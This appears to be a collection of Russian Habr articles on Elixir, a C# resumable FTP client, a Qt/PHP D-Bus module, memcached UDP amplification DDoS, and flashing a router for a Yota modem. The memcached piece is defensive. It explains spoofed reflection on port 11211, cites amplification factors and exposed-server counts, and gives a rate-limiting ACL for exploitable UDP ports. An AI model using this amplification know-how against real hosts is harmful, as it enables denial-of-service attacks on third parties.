Мы сделаем очень простой пример с бинарным деревом, который будет находиться в записи(record) Tree и для нашего дерева мы тоже имплементируем Access протокол.
```
defmodule TreeM do
def has_value(nil, val), do: nil
def has_value({{key, val}, _, _}, key), do: val
def has_value({_, left, right}, key) do
has_value(left, key) || has_value(right, key)
end
end
defrecord Tree, first_node: nil
defimpl Access, for: Tree do
def access(tree, key), do: TreeM.has_value(tree.first_node, key)
end
```
Теперь точно так же мы можем находить наши значения через Access Protocol
```
tree = Tree.new(first_node: {{:a, 1}, {{:b, 2}, nil, nil}, {{:c, 3}, nil, nil}})
tree[:a] # => 1
```
Протоколы дают полиморфизм.
И теперь, немного синтаксического сахара, который упрощает написание и чтение кода в определённых ситуациях.
[{:a, 1}] можно писать так: [a: 1]
Точно так же, часто приходиться писать такие конструкции, как:
func3(func2(func1(list))), несмотря на то, что вызов функции func1 произойдёт первым, мы пишем вначале func3 или должны вводить переменные, как в этом случае:
```
file = File.iterator!("README.md")
lines = Enum.map(file, fn(line) -> Regex.replace(%r/"/, line, "'") end)
File.write("README.md", lines)
```
C помощью оператора pipeline (|>) мы можем переписать наш пример так:
```
lines = File.iterator!("README.md") |> Enum.map(fn(line) -> Regex.replace(%r/"/, line, "'") end)
File.write("README.md", lines)
```
В библиотеке elixir-а стандартизировано субъект идёт первым аргументом. И это даёт возможность с помощью |> оператора, который подставляет результат предыдущего действия как первый аргумент функции в следующий вызов, писать более понятный, компактный и последовательный код.
Ещё, мы можем упростить этот пример, используя curry или partials в простых случаях:
```
lines = File.iterator!("README.md") |> Enum.map( Regex.replace(%r/"/, &1, "'") )
File.write("README.md", lines)
```
Я думаю, Elixir будет интересен erlang-разработчикам, которые хотят улучшить качество своего кода, продуктивность, и опробовать метапрограммирование в действии. Аналогично, разработчики с других языков и платформ также проявят к нему интерес. Например те, кто хотели бы опробовать BeamVM, но не решались из-за синтаксиса erlang-а или сумбура в его библиотеках. Здесь важным достоинством elixir-а является стандартизированная и компактная стандартная библиотека(Standard Library). | https://habr.com/ru/post/184222/ | null | ru | null |
# Автономный ftp-client с докачкой файлов
Хочу поделиться своим опытом в разработке автономного ftp клиента.
В наличии имеется ftp-сервер, на котором периодически появляются данные в виде графических изображений и текстовых файлов, их размер варьируется от десятков килобайт до пары гигабайт. Доступ в интернет может быть через провод, а может быть через GSM-свисток или вообще по спутнику, то есть стабильным и нестабильным соответственно. Во втором случае резко повышается вероятность потери соединения из-за погодных условий, географического положения и т.п.
Итак, требования к клиенту следующие:
1. Опрос ftp-сервера на наличие новых файлов и их последующая загрузка.
2. В случае внезапной остановки загрузки (будь то обрыв соединения, или упадёт система, на которой стоит мой ftp-клиент), закачка должна продолжиться при первой возможности.
3. Ограничение скорости загрузки (это связано со стоимостью трафика по GSM).
Если интересен мой способ решения задачи, прошу под кат!
Для удобства можно разбить всю статью на ключевые этапы работы клиента, с примерами кода и более подробным описанием тонкостей работы.
### Постановка задачи
Подумав, я решил написать клиент, который работает по следующей схеме:
1. Стучимся на сервер, получаем список файлов.
2. Смотрим в свою историю загрузок, если файл отсутствует в истории, то добавляем файл в очередь загрузки.
3. Если файл по каким-то причинам не удалось скачать, он отправляется в конец очереди загрузки.
4. Успешно загруженный файл добавляется в историю.
И некоторые особенности:
* История хранится runtime и дублируется в xml-файл, откуда можно будет восстановить историю
* Клиент поддерживает загрузку нескольких файлов одновременно в разных потоках
### Периодический опрос сервера и получение списка файлов
Решение периодического опроса сервера приходит на ум почти сразу — запустить таймер, в котором будет заключён метод получения списка файлов. Однако, сервер имеет немного своеобразную структуру каталогов. Если говорить коротко, то на сервере есть две папки — notify и files. В папке **files** хранятся сами данные, которые требуется скачать, и все они имеют уникальные имена по типу **FILE\_ID\_xxx**, где **х** — любая цифра. Папка **notify** содержит xml-файлы с описанием файлов из папки **files**, в т. ч. их настоящее имя, дату размещения на сервере и размер.
Прочитав все xml из папки **notify**, я формирую коллекцию из нехитрого *FileItem*:
```
public class FileItem
{
[XmlAttribute(AttributeName = "RemoteUri")]
public string RemoteUri;
[XmlAttribute(AttributeName = "SavePath")]
public string SavePath;
[XmlAttribute(AttributeName = "Date")]
public string Date;
[XmlAttribute(AttributeName = "RefId")]
public string RefId;
[XmlAttribute(AttributeName = "Name")]
public string Name;
[XmlAttribute(AttributeName = "Extention")]
public string Extention;
[XmlAttribute(AttributeName = "Size")]
public long Size;
}
```
А далее, пробегаясь по коллекции, проверяем, присутствует ли файл в истории загрузок, и не загружается ли он в данный момент
```
foreach (var df in dataFiles)
{
if (!FileHistory.FileExists(df) && !client.AlreadyInProgress(df))
{
client.DownloadFile(df);
}
}
```
Вот и всё. Опрос сервера и поиск новых файлов закончен. О том, кто такие *FileHistory* и *client* — напишу далее.
### Загрузка файлов в несколько потоков
"*client*" в коде выше — это экземпляр класса *FTPClient*, занимающегося только загрузкой файлов с сервера. И по факту *FTPClient* — моя обертка FtpWebRequest.
*FTPClient* имеет в себе потокобезопасную очередь, называемую «очередью загрузки»:
```
private ConcurrentQueue downloadQueue;
```
Итак, что происходит при вызове метода *DownloadFile*:
```
public void DownloadFile(FileItem file)
{
downloadQueue.Enqueue(file);
StartDownloadTask();
}
```
Всё довольно просто — файл добавляется в очередь на загрузку, и вслед за этим вызывается метод, который создает задачу по загрузке файла, используя TPL. Вот как это выглядит:
```
private void StartDownloadTask()
{
if (currentActiveDownloads <= Settings.MaximumDownloadThreads)
{
FileItem file;
if (!downloadQueue.IsEmpty && downloadQueue.TryDequeue(out file))
{
Task t;
if (File.Exists(file.SavePath))
{
FileInfo info = new FileInfo(file.SavePath);
var currentSize = info.Length;
t = new Task(() => DownloadTask(file, currentSize));
}
else
{
t = new Task(() => DownloadTask(file, 0));
}
t.ContinueWith(OnTaskComplete);
t.Start();
Interlocked.Increment(ref currentActiveDownloads);
lock (inProgressLock)
{
inProgress.Add(file);
}
}
}
```
Говоря русским языком, сначала проверим сколько уже работает тасков по загрузке файла, и если есть возможность пропихнуть ещё один. Затем пытаемся получить *FileItem* из очереди загрузки, если очередь не пуста. Потом определяем, присутствует ли файл уже локально, или нет. А локально присутствовать файл может в том случае, если загрузка неожиданно прервалась. Всё, что мы успели скачать, остаётся на диске. Так вот, в этом случае мы просто начнём загрузку с того места, на котором остановились.
Метод *OnTaskComplete*, который вызовется после завершения *DownloadTask*:
```
private void OnTaskComplete(Task t)
{
Interlocked.Decrement(ref currentActiveDownloads);
StartDownloadTask();
}
```
То есть уменьшим счетчик активных загрузок, и попробуем начать новый таск загрузки. То есть, получается что новый таск на загрузку будет создаваться при добавлении нового файла в очередь загрузки и при завершении текущего таска на загрузку.
Теперь метод, занимающийся непосредственно загрузкой файла с сервера:
```
private void DownloadTask(FileItem file, long offset)
{
// Перед началом загрузки поставим поток на паузу. В случае, если файл не доступен по какой-то причине, то мы не будем спамить на сервер в попытках достучаться до него
Thread.Sleep(10 * 1000);
Log.Info(string.Format("Загружается файл {0}", file.Name));
try
{
if (offset == file.Size)
{
Log.Info(string.Format("Файл {0} уже полностью скачан.", file.Name));
FileHistory.AddToDownloadHistory(file);
return;
}
using (var readStream = GetResponseStreamFromServer(file.RemoteUri, WebRequestMethods.Ftp.DownloadFile, offset))
{
using (var writeStream = new FileStream(file.SavePath, FileMode.Append, FileAccess.Write))
{
var bufferSize = 1024;
var buffer = new byte[bufferSize];
int second = 1000;
int timePassed = 0;
var stopWatch = new Stopwatch();
var readCount = readStream.Read(buffer, 0, bufferSize);
int downloadedBytes = readCount;
while(readCount > 0)
{
// Считаем данные потока и засечём сколько на это ушло времени
stopWatch.Start();
writeStream.Write(buffer, 0, readCount);
readCount = readStream.Read(buffer, 0, bufferSize);
stopWatch.Stop();
// Если скорость ограничена (0 считается за отсутствие ограничения)
if (Settings.MaximumDownloadSpeed > 0)
{
var downloadLimit = (Settings.MaximumDownloadSpeed * 1024 / 8) / currentActiveDownloads;
downloadedBytes += readCount;
timePassed += (int)stopWatch.ElapsedMilliseconds;
if (downloadedBytes >= downloadLimit)
{
var pause = second - timePassed;
if (pause > 0)
Thread.Sleep(pause);
timePassed = 0;
downloadedBytes = 0;
stopWatch.Reset();
}
if (timePassed > second)
{
stopWatch.Reset();
timePassed = 0;
downloadedBytes = 0;
}
}
}
}
}
lock (inProgressLock)
{
inProgress.Remove(file);
}
FileHistory.AddToDownloadHistory(file);
Log.Info(string.Format("Файл загружен - {0}", file.Name));
Interlocked.Add(ref currentLoadedSize, -file.Size);
}
catch (WebException e)
{
Log.Error(e);
downloadQueue.Enqueue(file);
}
catch (Exception e)
{
Log.Error(e);
}
}
```
И метод, который формирует запрос к серверу и возвращает ответ:
```
private Stream GetResponseStreamFromServer(string uri, string method, long offset)
{
var request = (FtpWebRequest)WebRequest.Create(uri);
request.UseBinary = true;
request.Credentials = new NetworkCredential(Settings.Login, Settings.Password);
request.Method = method;
request.Proxy = null;
request.KeepAlive = false;
request.ContentOffset = offset;
var response = request.GetResponse();
return response.GetResponseStream();
}
```
То есть, чтобы начать чтение потока не с начала, используется строка при формировании запроса: ё
```
request.ContentOffset = offset;
```
А ограничение скорости работает следующим образом: первым делом расчитаем *downloadLimit*, сколько байт может загрузить текущий поток. Учитывается общее ограничение скорости и количество активных потоков загрузки. Затем читаем поток 1024 байта. Засекли, сколько времени это заняло (*timePassed*). Общее количество считанных байт записывается в *downloadedBytes*.
При превышении лимита ставим поток на паузу на оставшееся время до конца секунды:
```
var pause = second - timePassed;
if (pause > 0)
Thread.Sleep(pause);
```
По истечению секунды счётчики обнуляются.
И в случае *WebExeption* файл снова добавится в очередь загрузки. А в историю файл попадёт только после успешного завершения.
### История загрузок
Хранение истории загрузок в файле пригодится на тот случай, если приложение вдруг перезапустится, и история, хранимая runtime будет потеряна.
Внутри класс *FileHistory* имеет коллекцию, хранящую в себе *FileItem*, которые мы уже успешно скачали:
```
private static List downloadHistory;
```
Добавление файла происходит очень просто — мы добавляем файл в коллекцию и сразу записываем изменения в xml:
```
public static void AddToDownloadHistory(FileItem file)
{
lock (historyLock)
{
XmlSerializer serializer = new XmlSerializer(typeof(List));
using (var writer = GetXml())
{
downloadHistory.Add(file);
serializer.Serialize(writer, downloadHistory);
}
}
}
```
И вот что происходит, когда мы хотим проверить наличие файла в истории:
```
public static bool FileExists(FileItem file)
{
lock (historyLock)
{
if (downloadHistory.Count == 0)
{
if (!TryRestoreHistoryFromXml())
{
return false;
}
}
return downloadHistory.Any(f => f.RefId == file.RefId);
}
}
```
Поясню — вот вызывается метод проверки. И записей в нашей коллекции ноль. Вероятно, приложение падало, и история утерялась. На этот случай попытаемся восстановить историю из xml. Если это не удается (файл отсутствует или повреждён) — считаем, что мы этот файл ещё не загружали.
### Завершение
Я расчитываю, что эта статья поможет тем, кому тоже придётся писать свой ftp-клиент в первый раз, как и мне. Не претендую на то, что решение идеально. И это мой первый опыт написания статей на хабр, поэтому я открыт для критики и комментариев. | https://habr.com/ru/post/282600/ | null | ru | null |
# Применение D-Bus в веб-системах
В процессе разработки нескольких Интернет-сервисов мы заметили, что значительная часть их функционала является общей, и руководствуясь принципом [DRY](http://habrahabr.ru/post/144611/) (Don't Repeat Yourself — не повторяйся), приняли решение вынести общий функционал в отдельный модуль.
К модулю были предъявлены следующие требования:
* независимость от использующих его сервисов;
* простота «клиентского» кода;
* многопоточность и высокая скорость работы.
Оговорюсь, что наши сервисы написаны на PHP и работают на сервере Apache под управлением Linux. Основные вопросы были: «на чём писать модуль?» и «как обращаться к модулю из PHP-скриптов?». Анализ средств реализации модуля, был проведён с учётом используемого программного обеспечения, а так же наших личных предпочтений, знаний и опыта.
Было предложено 3 основных варианта:
1. Реализовать модуль в виде ещё одного веб-сервиса на PHP и делать вызовы из клиентских сервисов используя CUrl или с помощью SOAP. Недостатки этого подхода — медленная работа интерпитируемого языка, затраты на сетевые запросы (ненужные на текущий момент, так как предпологается, что модуль и сервисы будут запущены на одном сервере), сложность реализации разделяемых объектов при паралельных запросах.
2. Реализовать модуль в виде FastCGI-приложения с использованием многопоточности. К положительным сторонам этого варианта следует отнести: возможность написания модуля на C/C++, что увеличило бы быстродействие и позволило реализовать разделяемые объеты в многопоточной среде. Обращения к модулю из PHP-скриптов, можно было бы осуществить с помощью доменных сокетов Unix, что позволило бы избежать затрат на осуществление ненужных обращений к сети (при расположении сервисов и модуля на одном сервере).
3. Помимио описанных подходов, наше внимание привлекла система межпроцессного взаимодействия (IPC) D-Bus, широко используемая в Linux в настоящее время. Возможности и характеристики D-Bus, такие как быстродействие, надёжность, настраиваемость, наличие высокоуровневых библиотек-обёрток, показались нам привлекательными и удовлетворяющими наши требования. По сути, использование второго варианта привело бы нас к написанию собственного аналога D-Bus. Далее, встал вопрос о вызовах модуля из клиентского PHP-кода. В Интернете нам встретилось две библиотеки реализующих D-Bus на PHP: от [Pecl](http://pecl.php.net/package/DBus) и японская от [GREE Labs](http://labs.gree.jp/Top/OpenSource/DBus-en.html). Но, так как мы уже успели написать работающий тестовый пример на Pecl D-Bus, японскую реализацию мы не удостоили должного внимания. Со стороны C++ мы решили использовать QtDBus, по причине знакомства программистов с библиотекой Qt.
#### «Клиентский» код
Итак, перейдём к реализации. Начнём с «клиентского» PHP-кода. Допустим, что имеется некоторое приложение (наш модуль написанный на Qt), которое зарегистрировало D-Bus-сервис с уникальным именем «test.service». Сервис представляет собой иерархическую структуру зарегистрированных в нём объектов. Если нет необходимости в иерархии можно использовать путь к объекту "/" (подобно корневой директории в Linux). В нашем случае в сервисе имеется объект "/test". Объекты предоставляют интерфейсы, содержащие наборы методов. Объект "/test" имеет интерфейс «test.iface» с методом «sum».
client.php:
```
// Создание объекта, соединяющегося с системной шиной D-Bus.
$dbus = new DBus(DBus::BUS_SYSTEM);
// Создание объекта, для осуществления межпроцессных вызовов.
$proxy = $dbus->createProxy("test.service", "/test", "test.iface");
try {
// Осуществляем вызов метода
$result = $proxy->sum(42, 13);
var_dump($result);
}
catch (Exception $e) {
print $e->getMessage()."\n";
}
```
В коде происходит вызов метода «sum» из интерфейса «test.iface» у объекта, расположенного по пути "/test", на сервисе «test.service» через системную шину D-Bus. Метод вызывается с двумя целочисленными аргументами. В результате выполнения данного скрипта на сервисе «test.service» должно быть выполнено сложение 42-х и 13-ти, а результат выведен с помощью функции var\_dump.
#### Реализация D-Bus-модуля
При проектировании архитектуры модуля, мы решили использовать в своих целях терминологию ZendFramework (что может показаться странным для программы написааной на C++). Это было обусловленно тем, что такие термины как «сервис», «интерфейс», «объект» уже использовались нами применительно к D-Bus. И, чтобы избежать путаницы, мы взяли понятия «действия» (Action) и «контроллера» (Controller) из ZendFramework.
Под термином **«действие»** мы решили понимать унаследованный от QThread класс, представляющий собой нить, в которой будет реализован любой необходимый функционал.
А **«контроллером»** назвали класс, инкапсулирующий вызовы действий в своих методах. При этом, контроллер нужно унаследовать от QObject и QDBusContext.
##### Головная функция
Приведём код головной функции модуля (файл main.cpp). Здесь происходит регистрация контроллера на системной шине D-Bus.
```
#include
#include
#include
#include "TestController.h"
#define SERVICE\_NAME "test.service"
#define OBJECT\_PATH "/test"
int main(int argc, char \*argv[]) {
QCoreApplication app(argc, argv);
// Создаём соединение с системной шиной D-Bus
QDBusConnection conn = QDBusConnection::systemBus();
// Регистрируем сервис
if (! conn.registerService(SERVICE\_NAME)) {
qDebug() << "Error:" << conn.lastError().message();
exit(EXIT\_FAILURE);
}
TestController controller;
// Регистрируем контроллер
conn.registerObject(OBJECT\_PATH, &controller, QDBusConnection::ExportAllContents);
return app.exec();
}
```
##### «Контроллер»
Следует обратить внимание на то, что методы контроллера, открытые для межпроцессорных вызовов по D-Bus, работают последовательно. То есть, если первый клиент осуществляет вызов метода sum, второй должен ждать пока выполнение метода не окончится. Поэтому, мы решили сократить код методов до минимума, чтобы избежать длительного ожидания. Таким образом, при каждом клиентском вызове происходит запуск рабочей нити (действия) и выход из метода.
Рассмотрим класс контроллера (файл TestController.h). Реализацию метода для краткости напишем в заголовочном файле.
```
#ifndef TEST_CONTROLLER_H
#define TEST_CONTROLLER_H
#include
#include
#include
#include
#include "SumAction.h"
class TestController: public QObject, protected QDBusContext {
Q\_OBJECT
Q\_CLASSINFO("D-Bus Interface", "test.iface") // Имя интерфейса
public:
Q\_INVOKABLE int sum(int a, int b) {
// Сообщаем D-Bus, что ответ прийдёт позже.
setDelayedReply(true);
// Запускаем нить
(new SumAction(a, b, this))->start();
// Формальный возврат значения для компилятора. Реальный результат будет возвращён из нити.
return 0;
};
};
#endif // TEST\_CONTROLLER\_H
```
##### «Действия»
В **действиях** мы будем размещать функционал модуля. Каждому методу контроллера будет соответствовать класс действия. Поэтому целесообразно написать класс Action, базовый для всех действий.**Action.h**
```
#ifndef ACTION_H
#define ACTION_H
#include
#include
#include
#include
#include
class QDBusContext;
class Action: public QThread {
Q\_OBJECT
public:
Action(const QDBusContext\* context);
virtual ~Action();
// Получение результата указаного в шаблоне типа
template
QDBusReply reply() const { return \_reply; }
protected:
// Неконстантная ссылка для записи результата в классе наследнике.
inline QDBusMessage& reply() { return \_reply; }
// Полученный запрос
inline const QDBusMessage& request() { return \_request; }
private slots:
void onFinished();
private:
QDBusConnection\* \_connection;
QDBusMessage \_request;
QDBusMessage \_reply;
};
#endif // ACTION\_H
```
**Action.cpp**
```
#include "Action.h"
#include
#include
#include
#include
Action::Action(const QDBusContext\* context) {
if (context != 0) {
// Создаём копию соединения
\_connection = new QDBusConnection(context->connection());
\_request = context->message();
}
else {
\_connection = 0;
\_request = QDBusMessage();
}
// Создаём ответ на запрос
\_reply = \_request.createReply();
// Присоединяем обработчик завершения нити
if (! connect(this, SIGNAL(finished()), this, SLOT(onFinished())))
qFatal("SIGNAL/SLOT connection error");
}
Action::~Action() {
if (\_connection != 0)
delete \_connection;
}
void Action::onFinished() {
if (\_connection != 0) {
// Отсылка результата по D-Bus
\_connection->send(\_reply);
}
/\*
\* Удаление объекта произойдёт только в случае если нить была запущена из
\* нити, находящейся в цикле обработки событий (event loop).
\*/
deleteLater();
}
```
Унаследовав этот класс, мы можем сосредоточится на реализации необходимого функционала не заботясь о деталях взаимодействия с D-Bus. Всё, что нужно сделать, это сохранить параметры в свойствах класса, сложить a и b, и записать результат по ссылке reply().
SumAction.h:
```
#ifndef SUMACTION_H
#define SUMACTION_H
#include "Action.h"
class SumAction: public Action {
Q_OBJECT
public:
SumAction(int a, int b, const QDBusContext* context):
Action(context),
_a(a),
_b(b)
{}
virtual ~SumAction() {};
protected:
void run() {
reply() << _a + _b;
}
private:
int _a;
int _b;
};
#endif // SUMACTION_H
```
#### Конфигурация D-Bus
Откомпилировав описанный выше модуль, мы получим приложение регистрирующее D-Bus-сервис «test.service». Попробуем запустить его. Скорее всего, результат будет следующим:
```
$ ./dbus-test
Error: "Connection ":1.66" is not allowed to own the service "test.service" due to security policies in the configuration file"
```
Для решения данной проблемы необходимо внести изменения в конфигурацию D-Bus. D-Bus предоставляет возможность гибкой [настройки](http://dbus.freedesktop.org/doc/dbus-daemon.1.html) безопастности и функционала. Для работы нашего примера достаточно создать в файл: /etc/dbus-1/system.d/dbus-test.conf следующего содержания:
```
```
Перезапускать демон D-Bus — нет необходимости. Изменения вступят в силу после сохранения файла.
Повторим запуск модуля и, если он благополучно запустился, попробуем обратится к нему из PHP-скрипта.
```
$ php client.php
int(55)
```
Вот и ожидаемый результат: 42 + 13 = 55. Исходники можно взять [здесь](https://www.assembla.com/code/dbus-test/subversion/nodes/trunk).
#### Заключение
Описанный выше способ межпроцессного взаимодействия, позволил нам наладить взаимодействие модуля, написанного на C++, с несколькими веб-сервисами, нуждающимися в его функционале. Таким образом, мы получили высокую производительность и гибкость при построении сложной информационной системы, которые нам предоставляет С++ (и Qt в частности), и удобство разработки и поддержки веб-сервисов на PHP. | https://habr.com/ru/post/165959/ | null | ru | null |
# Четыре факта о memcached-амплификации
*Это перевод оригинальной публикации Артема [ximaera](https://habr.com/ru/users/ximaera/) Гавриченкова «Understanding the facts of memcached amplification attacks», опубликованной [в блоге](https://blog.apnic.net/2018/03/26/understanding-the-facts-of-memcached-amplification-attacks/) [APNIC](https://en.wikipedia.org/wiki/Asia-Pacific_Network_Information_Centre) (Азиатско-Тихоокеанский сетевой информационный центр).*
Неделя с 25 февраля по 3 марта [была](https://habrahabr.ru/company/qrator/blog/350074/) высокоинтенсивной с точки зрения memcached-амплифицированных DDoS-атак во всех уголках мира, то есть в интернете.
Тем не менее, давайте еще раз вспомним все факты, которые нам известны об амплифицированных атаках.
### Факт номер один: Амплификаторы были, есть и будут есть
NTP (Network Time Protocol) был первым протоколом, злонамеренно использованным в качестве амплификатора (усилителя) DDoS-атак еще в 2013 году. Тысячи и сотни тысяч NTP-серверов к тому моменту были развернуты по всей сети, так что использование данного вектора амплификации было вполне выгодно злоумышленникам. И NTP давал такую возможность, что вылилось в волну амплифицированных NTP DDoS-атак. В начале 2014 года на какое-то время NTP в качестве главного амплификатора стал даже популярнее протокола DNS (Domain Name System).
В 2015 году мы увидели массовый подъем ботнетов. Они использовали основанные на UDP (User Datagram Protocol) амплификаторы, установив рекорд по полосе DDoS-атак, наблюдавшихся к тому моменту. Разные ботнеты использовали разные техники, но комбинация тысяч скомпрометированных устройств и NTP- или DNS-амплификации делала такие атаки крайне опасными, как показал отказ в обслуживании компании Dyn и OVH в 2016. Совместное противодействие командно-контролирующим центрам ботнетов (C&C) сделало возможным избежание потенциального захвата ботнетами контроля над всей сетью.
Тот же 2016 год наглядно продемонстрировал, что NTP и DNS не единственные протоколы, использующиеся в качестве амплификаторов. Portmap, SNMP, SSDP, Chargen, MSSQL, CLDAP и некоторые другие сетевые протоколы предоставляют отличные возможности для усиления DDoS-атак. Несмотря на это, уже следующий 2017 год принес множество разнообразных уязвимостей, позволяющих эксплуатировать темные стороны других протоколов, ведь атакующие со знанием не ходят в отпуск и пытаются искать новые, ранее не изученные, векторы атак.
**Видеоинтервью на английском об атаках с DNS амплификацией**
### Факт номер два: Амплификация не изменилась и не эволюционировала — просто нашлись новые уязвимости
Более того — именно уязвимости и являются причиной, по которой мы засвидетельствовали события конца февраля и начала марта 2018 года. После того как в 2017 году группа китайских исследователей из 0Kee описала путь амплификации через memcached, у злоумышленников ушло всего пару месяцев на то, чтобы установить мировой рекорд амплифицированной DDoS-атаки, проведенной с помощью незащищенного memcached сервера. Будучи свободно распространяемым, бесплатным и присутствуя практически в каждом Linux-дистрибутиве, memcached являет собой мощнейший инструмент разрушения, предоставляя гипотетически бесконечный фактор амплификации (по нашим данным, коэффициент амплификации более 10000х, по данным Akamai — более 50000х). В этом случае мы снова упираемся в пропускную способность транзитных соединений как основное требование для выживания под подобной атакой канального уровня.
[Ссылка](https://drive.google.com/file/d/1zkep0_EJvRAsTA5mMn0HKi8L5lTYTJsN/view) на оригинальную презентацию 0Kee.
Когда 10 лет назад прослушка UDP-трафика была добавлена в базовую конфигурацию memcached, рождение нового амплификатора было просто очевидным. Просто десять лет назад амплификаторы как таковые не волновали почти никого. Только сейчас, в условиях продолжающегося уже второй десяток лет роста скоростей передачи и обработки пакетов это стало проблемой.
Общая концепция отражения и амплификации нисколько не поменялась. Сначала нелегитимные запросы отправляются на уязвимый (открытый всему миру на порту 11211) сервер memcached (эта техника традиционно называется [IP-spoofing](https://en.wikipedia.org/wiki/IP_address_spoofing)). После этого UDP-сервер подготавливает ответ и с помощью атакующего отправляет тысячи ответов на цель, заливая этим вполне легитимным с точки зрения memcached флудом ответов целевой хост. Огромные значения PPS и BPS не могут быть обойдены какими-то общими способами и средствами, так как такой объем трафика быстро делает устройства маршрутизации на границах сетей недоступными вследствие исчерпания ресурса.
### Факт номер три: Когда что-то работает — оно работает; но иногда против вас
Итак, уже установлен новый мировой рекорд в полосе DDoS-атаки: Arbor Networks [показала](https://www.arbornetworks.com/blog/asert/netscout-arbor-confirms-1-7-tbps-ddos-attack-terabit-attack-era-upon-us/) 1,7 Тбит/с на одного из своих клиентов, в то время как GitHub под защитой Akamai [пережил](https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html) 1,3 Тбит/с. К атаке на GitHub было приковано внимание многих медиа, так как это крупный и популярный ресурс, на нормальную работу которого опирается множество сервисов и продуктов по всему миру. Клиент Qrator Labs — платежная система Qiwi, успешно нейтрализовала атаку в 480 Гбит/с амплифицированного memcached UDP-трафика.
Статистика Shodan все еще показывает большое количество активных memcached амплификаторов, открытых для злоумышленников из любой точки планеты:
*Статистика Shodan по порту 11211*
Как можно увидеть из данного скриншота, континентальный Китай и США являются двумя основными источниками memcached амплификаторов. Qrator.Radar также собрал некоторую статистику по количеству доступных и уязвимых memcached-серверов:
*Статистика Qrator.Radar по общему количеству уязвимых серверов memcached*
Количество таких серверов падает очень быстро. Почему? Никто не хочет ни убивать, ни быть убитым. Операторы (классические провайдеры связи и транзитные операторы) переживают о своих сетях и о том, что они могут быть использованы в качестве инструмента усиления того, что с легкостью можно назвать «незаконным».
Для того чтобы сделать эту информацию еще более очевидной и понятной, мы собрали статистику по количеству амплификаторов в customer cone отдельных автономных систем, вот пример верхней части этого списка:
DDoSmon также предоставляет возможность получать достаточно детальную статистику по количеству целей memcached-амплифицированных DDoS-атак, где также видны актуальные тренды: <https://ddosmon.net/memcached_amplification_attack>
### Факт номер четыре: все, что может быть исправлено, должно быть исправлено
Пользователи memcached должны отключить поддержку UDP в случае, если они не используют UDP для передачи данных. Также memcached должен слушать только localhost — не все доступные интерфейсы, как это происходит в некоторых установках по умолчанию.
Любой игрок крупнее отдельно взятой компании, отвечающей только за себя или одного человека, ответственного за конкретный ресурс, должен на 100% убедиться в том, что никакие memcached серверы НЕ видны из остальной сети и закрыты файрволом.
Обязательно обратите внимание [на рекомендации](http://www.senki.org/operators-security-toolkit/filtering-exploitable-ports-and-minimizing-risk-to-and-from-your-customers/) AUSNOG (Australian Network Operators’ Group) к имплементации Explotable Port Filters.
И хотя количество уязвимых серверов по сети снижается, атакующие продолжают поиск новых и более сильных способов эксплуатировать уязвимости и, в целом, на текущий момент времени преуспевают в данном поиске. Системные администраторы, по идее несущие ответственность за серверы memcached, ведут себя безрассудно или даже невежественно, так что от длинного хвоста попыток закрыть оставшиеся кэши, доставляющие проблемы, не деться никуда. Вот почему так важно попытаться справиться с проблемой memcached-амплификации на операторском уровне.
На текущий момент лучшим способом сделать это является применение rate-лимитов на все порты, смотрящие наружу и контролировать UDP трафик на 11211 порту до того, пока им не будет возможно управлять. Это защищает и вашу инфраструктуру, и ваших клиентов, и любую случайную жертву.
Здесь содержится сразу несколько рекомендаций: <http://www.senki.org/memcached-on-port-11211-udp-tcp-being-exploited/>
NTT рекомендует добавить memcached UDP/11211 в тот же самый список “exploitable ports”, как NTP, CHARGEN и SSDP. Ниже показан пример конфигурации для IOS XR, позволяющий установить rate-limit на чувствительные к амплификации UDP-порты до 1% от емкости. Qrator Labs считает данный способ обработки memcached-трафика крайне полезным и эффективным, рекомендуя его к развертыванию:
`ipv4 access-list exploitable-ports
permit udp any eq ntp any
permit udp any eq 1900 any
permit udp any eq 19 any
permit udp any eq 11211 any
!
ipv6 access-list exploitable-ports-v6
permit udp any eq ntp any
permit udp any eq 1900 any
permit udp any eq 19 any
permit udp any eq 11211 any
!
class-map match-any exploitable-ports
match access-group ipv4 exploitable-ports
match access-group ipv6 exploitable-ports-v6
end-class-map
!
policy-map ntt-external-in
class exploitable-ports
police rate percent 1
conform-action transmit
exceed-action drop
!
set precedence 0
set mpls experimental topmost 0
!
class class-default
set mpls experimental imposition 0
set precedence 0
!
end-policy-map
!
interface Bundle-Ether19
description Customer: the best customer
service-policy input ntt-external-in
ipv4 address xxx/x
ipv6 address yyy/y
...
!
interface Bundle-Ether20
service-policy input ntt-external-in
...
... etc ...` | https://habr.com/ru/post/352306/ | null | ru | null |
# Yota-роутер или wimax2wifi за 15 минут
Часто возникает необходимость быстро или недорого подключить офис к интернету. Для этих целей отлично подходит новый Московско-Питерский провайдер беспроводного интернета, Yota, публичное тестирование которого некоторые и нас успешно провалили :)
Благодаря двум людям, Олегу, сделавшему альтернативную прошивку с расширенными возможностями к роутеру asus wl-500gp <http://oleg.wl500g.info/>, и Xanderу проведшему реверс инжениринг и создавшему драйвер yota-модема под linux <http://code.google.com/p/madwimax/>, появилась возможность создания yota-роутера <http://wl500g.info/showthread.php?t=17005>
**UPD:** Данные манипуляции более не актуальны. Прошивка от Олега последней версии поддерживает Yota по умолчанию, настройка в веб-интерфейсе. Ссылка — <http://code.google.com/p/wl500g/>. by [Paskal](https://habrahabr.ru/users/paskal/).
Процедура активации модема немного запутана и требует некоторых подготовительный работ, с которыми знакомы только знатоки wl-500-го. Целью данной статьи является упрощение процесса активации до трех простых этапов:
1. подготовительный,
2. смена прошивки,
3. запуск скрипта активации модема.
#### Подготовительный
Нам понадобятся:
1. Кабель с интернетом (нужен для скачивания пакетов роутером)
2. Ненужная флешка, которая отныне будет жить в роутере (на ней будут дрова)
3. Yota модем
4. Прошивка от Олега с [oleg.wl500g.info/1.9.2.7-9/WL500gp-1.9.2.7-9.zip](http://oleg.wl500g.info/1.9.2.7-9/WL500gp-1.9.2.7-9.zip)
5. ASUS Firmware Restoration Application с диска из комплекта роутера
6. Подключаем флешку в нижний слот,
7. Модем в верхний
8. Кабель с интернетом в WAN
#### Замена прошивки
1. Зажимаем и держим кнопку перезагрузки на задней стенке модема
2. Обесточиваем на несколько секунд
3. Отпускаем кнопку перезагрузки дождавшись мигания индикатора питания
4. Запускаем ASUS Firmware Restoration Application
5. Выбираем распакованную прошивку Олега
6. Жмем Upload (Загрузить)
#### Активация yota-модема
1. Тут роутеру понадобится интернет. Если интернет требует ручных настроек — вводим их через веб-интерфейс.
2. После загрузки пуск->выполнить->telnet 192.168.1.1
3. Логин admin пароль admin
